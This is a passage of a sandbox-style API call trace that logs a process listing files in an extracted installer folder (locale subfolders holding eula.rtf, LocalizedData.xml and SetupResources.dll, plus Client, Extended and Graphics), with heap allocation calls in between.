returned 1 [0050.572] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.572] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0050.572] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.572] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260400 [0050.572] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.572] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.572] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.572] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.573] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.573] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0050.573] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.573] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0050.573] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.573] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260540 [0050.573] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.573] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.573] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.573] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.574] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.574] FindClose (in: hFindFile=0x4260540 | out: hFindFile=0x4260540) returned 1 [0050.574] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.574] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0050.574] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.574] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260400 [0050.574] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.574] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.574] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.574] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.574] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.575] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0050.575] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.575] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0050.575] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.575] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.575] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.575] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.575] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.576] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.576] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.576] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.576] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.576] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0050.576] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.576] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0050.577] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.577] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0050.577] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0050.577] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0050.577] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0050.577] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.577] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0050.577] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0050.577] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0050.577] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.577] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0050.578] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.578] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0050.578] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0050.578] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0050.578] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0050.578] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.578] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0050.578] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.578] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, 